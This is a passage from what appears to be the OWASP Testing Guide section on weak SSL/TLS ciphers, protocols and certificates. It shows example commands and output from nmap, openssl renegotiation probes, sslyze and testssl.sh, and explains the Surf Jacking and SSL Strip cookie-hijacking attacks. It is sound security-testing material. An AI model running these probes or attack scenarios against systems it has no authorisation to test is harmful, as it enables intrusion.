A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
